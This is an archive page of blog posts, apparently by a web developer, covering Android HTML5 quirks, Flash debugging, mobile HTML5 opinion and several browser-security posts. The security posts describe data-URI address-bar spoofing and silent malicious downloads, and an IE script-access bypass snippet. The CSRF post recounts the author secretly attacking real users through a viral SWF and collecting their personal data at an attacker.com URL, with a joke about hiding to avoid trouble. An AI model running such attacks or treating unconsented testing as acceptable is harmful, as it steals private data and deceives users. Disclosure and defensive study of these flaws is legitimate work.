Category Archives: Google Chrome

Abusing The HTML5 Data-URI

After seeing in the previous post how Data-URIs can be used as a mechanism to easily carry malicious code, I’ll elaborate more about the issues it presents.

Some of it merely exists from the way Data-URIs are designed and implemented, and some of it might be considered as security bugs in the browsers.

Using Data-URI to manipulate the address bar

The simplest thing an attacker can do is to add spaces after the “data:” in the URI and by that it can make it look like it some kind of a Chrome internal page.

It will also change the link status in the bottom of the browser. The link will show “data:” hiding all the base64 code that is there. It’s a way to manipulate the status bar without the need of JavaScript. Hence the link will be manipulated even in an environment that doesn’t allow JavaScript.

Combine that attack with the previous example of the phishing SVG and you can get catastrophic results. Lots of users might believe this is an internal Chrome page.

Live example (Open in Chrome)

data_address_bar

While in the above example the user will see only “data:..” in the address bar. If he’ll feel uncomfortable the user can still examine the address bar and might find the hidden base64 code.

The next example will show how to prevent the user from examining the address bar at all, and it’ll always show “data:” The 3 dots indicating there might be more to it – will be removed as well.

By making the original content larger than ~28KB the address-bar will always show “data:” and only data.

data_status_bar

Live example of only data in the address-bar (Open in Chrome)

data_big_address_bar

While Chrome is the most vulnerable to the Space attack, other browsers will fall for it too.

FireFox trim the spaces when you click on the link, but an attacker will still be able to manipulate the status-bar (at the bottom of the browser). As we’ll see in the next vector.

Safari doesn’t trim the spaces but instead convert it to %20 or any other Unicode escaped representation of a space. It’ll work with any combination of unicode spaces.

data_safari_address_bar

Mobile Chrome for iOS.  It was a bit surprising to see that the Chrome version for iOS will fall for the “Over 28KB base64” attack.

data_chrome_iphone

It interesting to see that even Chrome for iOS which is very different environment, share the shell code with all of the other Chrome browsers.


Tricking the user to download malicious content using the DATA URI

We already seen how one can abuse the browser’s address-bar and the status-bar by simply adding spaces after the “data:” in the link.

But what if we add any other character, other than space.  In that case, the users will be prompted to download a file (by default the user won’t be prompted and the file will just download)

How convenient for an evil one. Combining that with the previous stuff…

The user will see data:http://google.com/graphics/doodle.svg in the status-bar, clicking the link will automatically download the attacker’s malicious SVG file that is hiding in the base64 code inside the link.

data_doodle_chrome

Click to download doodle.svg (not really a doodle)

As noted before, FireFox trim the spaces after the “data:”, but one can use %20 instead. Also, FireFox does a good job and put an ellipsis in the middle of the link in the status-bar. So the user will see the suspicious gibberish base64 at the end, But that can easily overcome with simply adding spaces at the end of the link as well.

data_doodle_firefox

Click to download doodle.svg (FireFox version)

The interesting thing is that this kind of attack doesn’t limit us to SVG, any kind of file can be downloaded this way, any kind of binary file as well.

How about an EXE (that EXE does nothing but to echo some text to the terminal)
(Will add it latter)

Remember COM executables? Only few bytes, 32bit windows will still run it, still many of these are out there.

COM executable

ZIP is a great bad vector IMHO

ZIP with badies inside (not real badies just text files)

chrome_zip_download

While on windows an attacker will also need to trick the user to change the extension of the file or to make him “Open With…” the file with a certain app. On the MAC these extension doesn’t matter much.

The file will be opened or executed according to its real type.

The new Mac OSes have this great feature called Gatekeeper that makes running applications way more secure in general.

The default settings is “from app-store AND identified developers”. How difficult is it for a motivated attacker to become an “Identified Developer”?

If the user have disabled Gatekeeper the app will just run when clicked.

It will probably work on old macs, but anyway I think that the most dangerous attack will be using just a zip file with all kind of badies inside.

The user flow might be:

  1. Click on a link -> File is immediately downloaded (there is no wait as the file is already embedded no the page)
  2. Click on the downloaded file -> file is automatically extracted (if the zip is small enough the user won’t notice much going on as the extraction will be fast)
  3. Malicious apps will be spread all over the user’s Downloads folder.
  4. “Hopefully” one day the user will notice these apps and its inviting names and will run one of these – thinking he downloaded it himself.

These are most of the browsers I’ve tested on, other browser may behave differently, generally it works the same on ubuntu as well.

IE (Internet Explorer) – does not suffer form most Data-URIs flaws, it does it by not supporting most of its features.  I don’t think that getting away with it by not supporting it is generally a good thing.

Final notes about these vectors: (repeating some from the previous post)

  1. Remember that no JavaScript is needed for any of this, all that is needed is a link. It’ll work just the same with JavaScript disabled.
  2. No server is involved either.
  3. All an attacker need is a bunch of strings and the user’s browser will do all the rest.
  4. AV won’t scan these links.
  5. Not easily blockable – no domain to block.
  6. More easily shared and distributed.
  7. The attack is also cached in the browser history and doesn’t need Internet connection to be present at the moment of the attack.
  8. Will propagate across devices. For example, if you’re signed-in into Chrome the attack will propagate to all of your devices. (You’ll still have to run it on each device though, just type data in the address bar).
  9. Can be easily embedded in the naively looking *.URL file. Who doesn’t click on these? It always felt safe.

 

— Reported the bug to Google.

The Pains and Remedies of Android HTML5

Prologue: I’ve written most of this post some months ago and somehow didn’t publish it. Looking at it now, it’s a good reminder of some of the pains I already forgotten. The Android version statistics already changed a bit by now, but, still today and even with the new type of measuring by Google – the most problematic Andorid versions which are 2.2.x – 4.0.x are still running more than 50% of Androids out there. Hence everything here still applies. (note that most of the bugs are in 4.0.x and not in 4.1.x and above).
I’ve updated all the stats in the article to reflect the latest published stats.

These issues refer to HTML5 content running inside the native Android browser as well as  inside the native WebView (i.e. PhoneGap and alike)

———————————–

The promise of HTML5 is great, to be able to use the same code base on all clients and even on the server is really compelling.  While iOS has provided what it promise long time ago already – you can relatively easily create compelling HTML5 apps that will run on the iOS. Android HTML5 capabilities are still lagging far behind.

On paper Android 4.0.x (20.6%) was enhanced with many awaited features of HTML5. Similar to iOS 5. For example, Android 4.0.x was added with the important overflow:scroll, but, the Android 4.0 version is flawed. It has many other great features which are, sadly, mostly buggy. In fact this version is a buggy regression to the Android browser and WebView HTML5 capabilities.

It gets much better in Android 4.1, but this version still only holds only (36.5%) of Androids (48.6% including 4.2 & 4.3). Still today the most common version is 2.3.x which holds (44%) and that version can not be avoided. Generally, if you’ll try to push the HTML5 envelop of the Android it’ll probably push you back.

Even with the new and optimistic way of Google to measure Android versions distribution it’s still clear that 2.2.x and 2.3.x and 4.0.x are still massively out there and needs to be supported.

Having said all that, it doesn’t mean you can’t create decent apps with HTML5 that will run properly on the Android. But you’ll have to consider its lacking abilities from the get go. Design the UI as simple as possible, without too many fancy CSS, images, and animations.

I will put here a list of some of the issues I had to go through while adopting HTML5 on the Android, I will keep this list updated.

Canvas:
Pain:
 Android 4.1 – 4.3 render duplicated HTML5 Canvas
Remedy: None of the parents HTML elements to the canvas should have overflow: hidden or overflow:scroll

Pain: In all Androids and especially 4.x canvas drawing performance are extremely reduced by using canvas effects like shadowColor.
Remedy: Try pre-rendering or adding the effects only when needed and/or once in every drawing cycles. For example, in a live drawing app – adding the effects only when the user stops to draw.

Network:
Pain: Android 2.x.x Making PUT (protocol) requests with no body will have no Content-Length header, it’s rejected by some servers/proxies i.e. NGNIX
Remedy: Configure NGNIX to accept it or send a {dummy: ‘data’} in the payload. i.e. $.ajax(‘PUT’, url, {dummy: ‘1’});

Pain: Android 2.x.x PUT (protocol) is cached on some versions of Android
Remedy: Cache-bust it, cache-bust all requests to the server even if it’s PUT.

Content:
Pain: Box-scroll was introduced in Android 4.0.x  but it has numerous issue on that version.
Remedy: Don’t use box-scroll for anything under than 4.1, or use iScroll or similar. The best, most performant, solution is to use postion:fixed for headers and footer and to simulate box-scroll.

Pain: CSS pseudo :active selector is not working on 2.x, working badly on 4.0.x.
Remedy: It is only perfect from Android 4.1 and above, try to use your own implementation using touch events.

Pain: Making fixed content (position: fixed) issues on 2.x.x
Remedy: Works fine only  when the ViewPort is not resizable, use this in the html head:
<meta name=”viewport” content=”width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no” />

Pain: Scrollbars shows over fixed content.
Reedy: When using a native shell, scrollbars can be removed using
webView.setVerticalScrollBarEnabled(false);
webView.setHorizontalScrollBarEnabled(false;

Pain: Jumpy text inputs
Remedy (native shell): <activity android:windowSoftInputMode=”adjustNothing” />
Remedy 2 : don’t use *{ -webkit-backface-visibility: hidden} or try to override it with *{ -webkit-backface-visibility:visible !important; }

Pain: Styling text-inputs that has focus
Remedy: http://stackoverflow.com/a/9464837/275333, http://java-cerise.blogspot.co.nz/2011/10/dodgy-double-input-fields-on-android.html

Pain: Android 4.0.x, any tap implementation will not be responsive enough, it will miss a lot of taps. (works fine with all other versions)
Remedy: Essiest will be to revert to clicks on this buggy 4.0.x version

Pain: In Android 4.0.x long press is selecting text, on all other OSs it’s resolved with the css *{ -webkit-touch-callout: none; }
Remedy (native shell): Use this Java snippet http://stackoverflow.com/a/11872686/275333

Pain: Duplicated Input fields on Android 4.0.x. it happens because android uses another native input for fast typing response, it doesn’t work well with scrollable content. (very ugly hack google, if I may)
There are tones of hacks for that out there, most of it doesn’t work or at least doesn’t work good across devices.
Remedy (native shell): If you run in WebView – Don’t put text inputs inside a scrollable iframe or content with overflow:scroll. Putting this in the activity will auto scroll to the text-input (similar to iOS) android:windowSoftInputMode=”adjustPan” – only works on Android 4.0.x, not working on Android 4.1 and above (yeah really).
adjustResize is working on all Androids I’ve tested, but that is less pretty and leads to jumpy inputs on older androids 2.x. adjustResize needs to be on the tags in order for it to work. I do not recommend that as well.
So to summarize the fiasco, adjustPan which give the best UX (similar to the iPhone) is only working on Android 4.0.x.
adjustResize which is still nice in terms of UX can be made to work with all versions of Android, but can cause issues (jumpy text-inputs) for old 2.x
Remedy 2: Put this style on the text input -webkit-user-modify: read-write-plaintext-only;  Not great since it’ll make typing slower, it’ll be up to impossible to enter text on some devices. Swype keyboard won’t work either.
Remedy 3: Shift the input element off the screen, and use the change event to render the text into another element. (this is too cumbersome, try to avoid it)

Misc:
Pain: HTML5 PushState is supported since Android 2.2, but somehow it was forgotten on Android 4.0 – 4.0.2 and some 4.0.3 devices. Told you these 4.0.x are cr*p…
Remedy: Make sure your HTML5 app works well for devices without pushState support. Try a 4.0 emulator.

Pain: Incorrect dimensions, sometimes innerWidth & innerHeight might still read 0 even after the DOM is ready.
Remedy:  Wait a few (~100 millisecond) after the DOM is ready to ask it what’s the window size is.
Remedy 2: Use screen.width & screen.height (you’ll have to calculate the toolbar height)
Remedy 3: get the width/height from the server (using something like wufl)
Remedy 4 (native shell):  Get the size from the native shell.

Pain: WebSockets are not supported at all.
Remedy (native shell): Use this WebSockets PhoneGap plugin. Don’t get bothered by sockets unless you really need to.

Pain: Web Workers doesn’t work at all
Remedy: Who cares..?!
Remedy 2 (native shell): Multi threaded, yeah baby.

Pain: Android 2.x misses a lot of scrolls attempt because it’s stuck in touchmove event (error is: “Miss a drag as we are waiting for WebCore’s response for touch down.”)
Remedy :( No real remedy, I’m pretty sure there is no sulotion for that and using something like iScroll won’t solve it either.

Pain: DOM manipulation is extremely slow.
Remedy: documentFragments might help but don’t count on it.
You’re left with tricks, for example, It far smother to change visibility than to add/remove DOM elements.
It’s better to pre-render and just show() or hide() as needed, especially when animations are involved.

Some related links:
PhoneGap vs. Native: Some Thoughts on Going Native
Discussion in Hacker News
These are one year old but still very relevant (sadly)
Regarding point 1: Don’t remove images from the DOM, instead replace the src to a very small image (leason learned by the linkedin mobile team), 2: You can handle that, 3: There are good ways to do caching, 4: These days there’s reasonable debuging tools.

HTML5 for extending the device battery life (PDF)

Some other pains & remedies

 

Epilogue:  Everytime I come across a cool HTML5 example and wonder how well it tuns on mobile, I try it on iOS  and mostly like what I see. Only to be disappointed with the way Android native browser run it. And I’m not talking solely about the old 2.x.x androids that mostly run these in an unacceptable way. Even the newer androids with new version of the OS doesn’t play smoothly as the mobile safari or even UIWebView. The only solution to HTML5 on Android at the moment, is to keep it simple, very simple.

When targeting an HTML5 app to run on mobile browsers, one can not assume that  her users will use anything other than the native browser (as opposed to the more capable Chrome for Android, for example). But,  if your running your HTML5 inside a native shell (i.e. PhoneGap) There are few projects that attempt to solve the native WebView problem, by letting us bundle a better webview.
https://github.com/thedracle/cordova-android-chromeview
https://github.com/davisford/android-chromium-view
https://wiki.mozilla.org/Mobile/Projects/GeckoWebView
More on these will follow…

 

The Promise of Mobile HTML5

Less than a year ago it seemed like HTML5 was going strong. With Facebook and Linkedin adopting the technology to reach most of the screens on the mobile and on the desktop.

Linkedin had the better hybrid mobile app (HTML5 + native) and published a series of videos and articles about how they successfully did it with a team of “just” 5 developers.
Admittedly Linkedin app was really nice, but, after learning more about the internals of their app I’ve realized it wasn’t perfect.
For example the way they manage the application cache is not as good as the HTML5 app-cache that just works well out of the box. Using the term “it wasn’t documented” is not a good enough excuse, it was working well long before the debute of their app.
Also, their infinit scroll is just a not so infinit swipe, etc’

Anyhow, it appears that linkedin, similar to her bigger sister Facebook, ditched its mobile HTML5 in favor of native.
Linkedin senior director for mobile engineering Kiran Prasad claims are that there is not a good debuger and no performance measuring tool.
Firstly the debuggers are getting there every day (there are many more).
Secondly, profiling in the desktop and mobile Chrome will give you a general idea where memory is going. Profiling hybrid apps in iOS6 is also available.
I don’t think that these are really the reasons, they simply needed a stronger platform and HTML5 became too difficult to scale to their needs. That’s reasonable, mobile HTML5 is definitely not for everything.

Yet, the promise is still here – use the same code base and the same web development skillset to deploy for: native apps for mobile, browser apps for mobile, cross platform for the desktop (also outside of the browser), and so much more.

So why mobile HTML5 is not there yet? I’ll outline some of the main reasons here:

1. It’s not realy the same web development skillset
Well it is in a way, for the simple stuff it is still mostly HTML, Javasctipt and CSS. But, even for the simple stuff, things that works just fine on the desktop browser can greatly affet smoothness, battery consumption, memory usage, and eventually crashes, when used in mobile.
Every bit of code needs to be perfected in order to maintain the user experiance. Not even talking about specific glitches in specific versions and OSes.

2. Android – when it comes to HTML5 Android sux big time.
iOS had good HTML5 support from the get go. It reached full maturity from iOS 5 which is currently all that is needed to cover the great majority of devices out there.
Android on the other hand only reached HTML5 maturity with version 4.1 which is less than 25% and going up slowly. The notorious Android fragmentation is affecting HTML5 as well.

3. HTML5 apps doesn’t easily scale in terms of features
You needs to be vigilant about every piece of code that is added.
For example, adding just a small feature like an image or a text to every item in a list can greatly hurt performance.

4. HTML5 apps doesn’t easily scale in terms of crew
You needs to be vigilant about every piece of code that is added.
In order to deliver the promise of same code base in all mobile devices and in the desktop you firstly need that all of your crew will be highly proficient. Mobile HTML5 apps can easily be ruined.
Secondly if you want that code to be used in the desktop as well, you need a greater level of harmony between members.

5. Product ppl want stuff they see on other apps.
Some of these stuff are very easy to create nativly but are extremly painfull when created in HTML5.
Product ppl needs to better understand the technology that is used.

6. Native is not that hard to do
At the end of the day wrting native apps for iOS and Android is not that difficult, it’ll be easier than HTML5 in many cases.
It’s way more diffuclt to ruin the smothness in native UI though I see many apps that manage to achive that.
An avarage native developer can easily achive good user experiance.
When writing native you can get a way with poorly written apps. Even if you will make the UI render itself 10 times more than it really needs to, you can still achive good user experiance that will satidfy most users.

7. Peer presure, don’t be a chicken
Some idiot with a rooted and very old phone, will install Android 4.0 mod (worse Android OS for HTML5). And than will start to whine that things don’t work smothly.
– That’s not even a real phone, idiot.
Announcements from facebook and linkedin ditching HTML5 in favor of native lowers the moral of HTML5 supporters and help “classic” developers that are intimidated by stuff like javascript to raise their heads.
What?! Can’t you write it in native what are you chicken – nobody ever calls me chicken (btw, this is how we’ll be in 2 years)
You will (almost) always have doubts about switching to native.

∞. It’s not over, it’s barely just begun
Don’t be let down by facebook and linkedin moving to native, it’s always depends on the type of app, resources and the kind of people involved.
Mobile HTML5 apps are deliverable and in good quality for some time already.
You will gain the benefits mentioned above of same codebase and skillset along with way better deployment model.
Done right, you can deploy new app versions like deploying a website. Without the need for approval, and without sacrificing much user experience.

The bottom line is that mobile HTML5 is here for somewhat long time already, but it’s not for everything and definitely not for everyone – yet.

Debugging Flash Player on Google Chrome

Just a quick tip in case you missed it. I’ve written previously on how to better develop Flash and Flex on Google Chrome. But, since Chrome is now auto updating the Flash Player with the latest release version, it ignores other players, debug player included.

In order to be able to run the Flash Player Debugger with Chrome:

  1. Go to about:plugins (past it in the address bar)
  2. Click on “Details” to see the full view (top-right)
  3. Search for this gcswf32.dll and click the “Disable” link just below it (be sure to click the first “Disable”)
  4. Install the Netscape-compatible plug-in from here.

Next time you will start Chrome it will use this debug player.

Developing Flash/Flex on Google Chrome

I find Google Chrome fast startup and multiple processes, a key when developing Flash/Flex applications. And it’s my preferred target browser for stuff other than HTML.

The problem is that, when debugging a Flash/Flex application and hitting a breakpoint, the Flash Player is stalled, chrome detect this stall and gives you this annoying message every 30, 60, 120, 240, etc’ seconds:

—————————
Plug-in Unresponsive
—————————
The following plug-in is unresponsive: Shockwave Flash
Would you like to stop it?
—————————
Yes   No  
—————————

It’s very annoying when the context jump to chrome exactly when you intent to click on F6.

Luckily we can use the -disable-hang-monitor startup switch  to avoid this annoyance. (All Google Chrome Startup Switches).

Right-click on the desktop link to Google Chrome, select Properties and add the switch to the target:

…ChromeApplicationchrome.exe -disable-hang-monitor

From now on, start Chrome using this link, first, only than you’ll be able to debug in a new tab/window and not get the Plug-in Unresponsive message. The first Chrome window has to be the one started from this link. A bit awkward I know, but that’s the best there is right now.

Trying to add this Startup Switch to the browser parameters inside Flex Builder didn’t worked for me either.

HTML 5 vs Flash vs SilverLight

This is by no mean a full technical comparison between these technologies, just a chat between 2 geeks. One is a skeptic backend dude ;) and the other one is yours truly, a GUI guy.

It started with an email from Eli (the backend dude)  titled “the Next big thing”?

Elihttp://www.chromeexperiments.com/ , RIP Flash. Long live HTML 5 + JavaScript.

Guy: This is old…  Let me know when Chrome will reach 99% of desktop computers.

Eli:  HTML 5 is old? LOL.  FYI, despite the fact that the spec is far from being finalized, browsers with sparks of HTML 5 support count among them ie8, ff3, opera and safari.

Guy:  Old news, that is.  HTML 5 is only started to get supported.   HTML 5 + Javascript has a small subset of what Flash 10 can offer.  By the time HTML 5 will be a standard Flash 12 will reach 90%

Eli:  Yeah, yeah, I’ve heard the same thing about java applets about a decade ago… ;)  Seems like the simplicity of markup languages makes them the long distance runners

Guy:  Exactly, Flash has succeeded where Java failed. Flash has a lot of issues, but currently (and in the few coming years for sure) it’s the most powerful and available runtime.  HTML + Javascript is far from simple and cause huge problems for complex applications.

Eli:  Flash is mostly used to fill gaps in HTML, not to solve the huge problems in the complex applications the web is made of, isn’t it?

Guy:  This is what Adobe aim to solve with Flash, to be the ultimate platform for creating and running RIA (Rich Internet Applications). Still, a lot of RIAs are written in AJAX (Javascript+HTML), which, with the aid of solid and powerful frameworks like jQuery become reasonable in some cases. Lately Google, which already have a lot of RIA tools, is trying to change the game with its Chrome browser and OS. The Chrome browser is equipped with a much faster JavaScript engine that enables what we can see in chromeexperiments.com. Microsoft is also trying to be a player in this space with its new SilverLight runtime.

Eli:  Yet, the idea of basing the web on some proprietary browser plug in is doubtable. Epic fall of java applets and endless annoying ActiveX bullshit are just a couple of examples. IMHO, the shortcoming of this approach is missing the idea that The Web is more than “screenfuls of text and graphics” ©. Layout engines, however, are here for more than a decade and markup languages – for ages, proving themselves in taking the web into the places no one was thinking then about.

P.S. The only thing Adobe aims is profit.

P.P.S. I love holy wars.

Guy:  The proprietary thing is indeed an issue, it prevents Flash from being accepted in some areas of the web and by some users. E.g. the Wikipedia video project uses HTML 5 video, they can’t use anything that is closed. What prevents Flash from being open-sourced is that it contain 3rd party patent not owned by Adobe. Adobe is already trying to appeal to the open source crowed with the opening of some of its IP http://opensource.adobe.com. IMHO they might completely open the Flash runtime if and when it’ll be pushed to the wall by Microsoft and its new SilveLight (talking about proprietary ;).

Java and Active-X are completely different stories, each had its own reason to fail. Partially and shortly, it is too difficult to create a Java applet and its far from appealing to a designer. Active-x has no sandbox, hence it has a lot of security issues, and also runs only in IE.

HTML was created to display text and images with basic layout, Javascript was added to enable simple interactivity, no one dreamt it can be used the way it’s done today. Only with the maturity of the browsers and with specialization of web developers, these king of RIAs could have been created. Yet it still pushes the tech to it limits.

The HTML 5 standard will be adopted relatively fast, but we’re still talking in years. Even with the Chrome JS engine (V8), Javascript can’t match the power of languages like Actionscript 3.0 and C#. Javascript 2 is somewhere in the very distant future. HTML 5 biggest improvement is the support for media (video/audio). But, it still can’t compete with Flash and SilverLight media abilities, in terms of playback and deployment.

HTML 5 is nice but the main holy war is between the reigning RIA world champion which is Adobe Flash and the challenger which is Microsoft SilverLight. There is much to be loved about this holy war, since it pushes the technologies forward and the biggest winners are us, the developers and the users.

(I’m talking about hard-core RIA, not some lightbox image gallery which is still preferably done in HTML)

P.S.  Adobe isn’t a saint, but, everyone want to make some profit, even google, even us as I recall ;) If you gain it morally and also use it to make something like the web better, than it’s fine with me. 

P.S.S aforementioned.

Encapsulating CSRF attacks inside massively distributed Flash movies – Real world example

Update: Added a sterilized demo and the source code.

CSRF (Cross Site Request Forgery) is considered one of the most widely spread exploits in websites today. I’ve written before about how a legitimate Flash file (swf) can be extremely viral. Few days ago I did a real attack, exploiting a CSRF flaw and elaborated it using the nature of Flash virality. The result shocked me.

I have a confession, I sometime look at the source of websites I browse, generally just to see how they did this and that. I also sometimes encounter security flaws in the script I examine, these flaws range from the very dangerous to the not so important, and my reactions range from informing the owners to just ignore it. I had the honor to find a very lame CSRF flaw in a big website which I’m familiar with it’s owners and some of its users. It was a great opportunity to do a real world test on this exploit. In the exploit I found, the attacker can obtain a lot of personal information from the user. A famous CSRF of similar nature has happened to gmail. Bear in mind that this kind of test is illegal and you should always be sure you won’t get in trouble, or just hide very well ;)

I took the same old viral movie of the pug cleaning the screen (screenclean.swf) and manipulated it (added some simple script) in a way that will attempt to attack any user that’ll view it, if the attack is successful and the user data is stolen it’ll be posted to my database (I’ll review the technical details at a latter point). I’ve then, uploaded the file to a server and sent the link to a few users that I know that uses that website, making it look like a naive chain letter.

pug_csrf

Then, I’ve waited for the stolen data to appear in my  database. It was exiting when the first hacked users started to emerge, and with every few refreshes there was a new one. It got a little scary when I saw users that I haven’t directly sent them the email. It was a proof of the virality of the attack.

csrf_db_table_01t

I was shocked when I saw that some of the users were added to my database being attacked from other servers then mine. This has proved the main point of the test, that attacks inside Flash (swf) files aren’t only viral but also get distributed. I wanted to show that this can happen pointing the screenclean.swf which can be found on ~600 different locations. I’ve never imagined that’ll it’ll happen so fast with my test, and on such an old movie.

After a few hours I’ve pulled the plug on this test and changed the swf file to the harmless original. But it was already too late the swf file got re-distributed (copied to other servers). Since I didn’t set the attack to expire and hasn’t obfuscate the code inside it, It was still attacking users, and worse, someone can look inside the swf and manipulate the attack to his needs. I had no control over that anymore, so we needed to fix this CSRF flaw ASAP.

Using Flash as a vessel to distribute CSRF attacks has some distinct benefits for the attacker:

- Beside the virality nature of these kind of Flash videos and games, swf files gets redistributed (hosted from other servers). This kind of attack will work no matter which server the file is served from, directly or embedded inside an html page.

- Script is hidden inside the Flash (swf), won’t be seen even with “View Generated Source”. Can be obfuscated inside the swf as well. Unless you’re watching the traffic you’ll see nothing suspicious.

- Multiple attacks in one swf. If it’s a game played for an hour, there is plenty of time to try many different attacks. The swf can download new kinds of attacks and/or instructions, when these are available, from the attacker server.

- Attack can be manipulated according to the date and time. For ex, let the swf distribute for a few days before starting to attack, set the attack to expire to make it more stealthy.

- Use shared object (Flash cookie) to maintain the user hacked status, more consistent then a cookie.

- Stealing large amount of data is easier as the data can be taken back to the swf and cross-domain Post can be used instead of Get.

Technical info

First of all, what enable this attack is the flaws and features inside every browser and the Flash Player, as I describe here.

Most CSRF attacks manipulate the user data on his behalf, as described here. The flaw I’ve found is returning live Javascript object with lots of personal data, similar to what happened to gmail. It was done this way, I guess, for ease of development, every page that is authenticated can load the url http://victim.com/personal.php?random and get the user’s data ready for any javascript code on the page, for ex, personalData.email.

The way that browsers are built, when the user is authenticated on one domain with a session or a cookie, every page that’ll load a url from this domain inside a script tag will use the authentication, even if the main page is on different domain. A script tag is one of these rare elements that are exempt from the browsers cross-domain-policy and can be loaded for use on different domains.

When the Flash movie (swf) is viewed inside a browser, the swf is “injecting” a javascript code to the page. This javascript is manipulating the page’s DOM and dynamically creating a script tag, this script is loading the vulnerable url as it source. Most of CSRF attacks will be done at this point, but, since our url is returning data, we need to wait for it and then steal it. We use an interval to check when the data is ready on the page, parse it as a string only with the important data then save it to our server database using the dynamically c
reated script with a get parameter http://attacker.com/stolenData.php?data=sensetive_data. We could have considered putting the data back into the swf and then post it to our server, Flash can do a cross-domain post as opposed to Javascript, might be more efficient when dealing with a large amount of data.

If the attack is successful we save it as a cookie, so we won’t attack the same user more then once. Again, we might consider using a Flash shared object which have more consistency.

Fixing the flaw in the website was just a matter of changing the returned data to a raw JSON instead of a live Javacript object. Fixing all CSRF flaws in a website generally is slightly more cumbersome, but not that much.

Added a sterilized demo and the source code.

Summery

Generally users feel comfortable following links, thinking it’s safe since they’re not installing anything, all the more so when it comes to links for flash and images.

This kind of attack is easy to reproduce, an attacker can simply go to youtube, download the FLV of the coolest short video and repeat the process, or worse, put it inside of an addictive game.

There is a tendency to accuse the platforms for being insecure. I agree that the browsers and the Flash Player will have to disallow scripting between them by default when loading a swf file directly, IE already tries to do it but fails miserably. That won’t solve any scenario though, since the harmful swf can be naively embedded inside an html page with scripting set to be allowed.

It’s always up to the developer to develop secure websites and applications without any CSRF or other type of flaws. No matter how strict is the platform (in this case the browsers and the Flash player), a “good” developer will be able to break the toughest security model in a second by writing vulnerable script.

It up to the developer to be a Safeloper and to produce secure applications ;)

The users should be able to feel safe following a link they get in an email message, it’s part of the nature of the Internet, following links that is.

I also did a similar attack using a JPG but that’s a different story.

Bug in Internet Explorer security model when embedding Flash

Update: I’ve posted a real world example of this bug being exploited.

This one has the same behavior on IE6, IE7 and IE8 betas.

I have only tested this with Flash swf files, but it’s likely that this security is applied and broken the same way, when navigating to different types of files.

When loading Flash file (swf) directly inside the browser without an html page container, for ex: http://example.com/game.swf , most browsers create an html page automatically and embed the swf inside it. FireFox and Google Chrome, for that matter, automatically create an embed tag with some default values, and IE uses this mshtml script (res://mshtml.dll/objectembed_neutral.js) to load the object.

The fact that this automatically created embed tag doesn’t mention the allowscriptaccess property it’s defaulted to samedomain. This way the swf file can script the automatically generated html page it resides in, using ExternalInterface, leading to a major security flaw. I will post about a real world example of this security flaw, shortly.

Internet Explorer, rightfully, consider this generated page as less secure and as such restrict access to the JavaScript document object. It’s preventing from the embedded swf to script the DOM of the page.

Just test it, go to any swf file on the web using Internet explorer, then run this script in the address bar javascript:alert(document); you’ll see the error “Access is denied”. Touching the document is prohibited!

Error_Access_Denied

But, all that is needed to compromise this security feature in IE is to reload the page. That’s it, just reload the page once by pressing F5. Run the script again javascript:alert(document); you’ll see the precious document and no error will be thrown.

Since most of the other javascript objects are still available and among these is the window native object. A swf file, for example, can reload the page on its own using window.location.reload() and then will be able to bypass the restriction and freely manipulate the page.

This script can run from inside the swf using ExternaInterface.call(“eval”, “script”); If the “try” clause fail it’s probably an IE browser and the page will reload immediately without the user noticing. The 2nd time the page loads the “try” clause won’t fail.

try{
   $d = document;
   //Mess with the DOM
}catch(ex){
   window.location.reload();
}

I was impressed that Microsoft implemented such a security feature as opposed to FireFox, Chrome and others who don’t have a similar restriction. but, it needs to be done right otherwise it misses the point.

As I said, I’ll post a real world example of this being exploited, soon.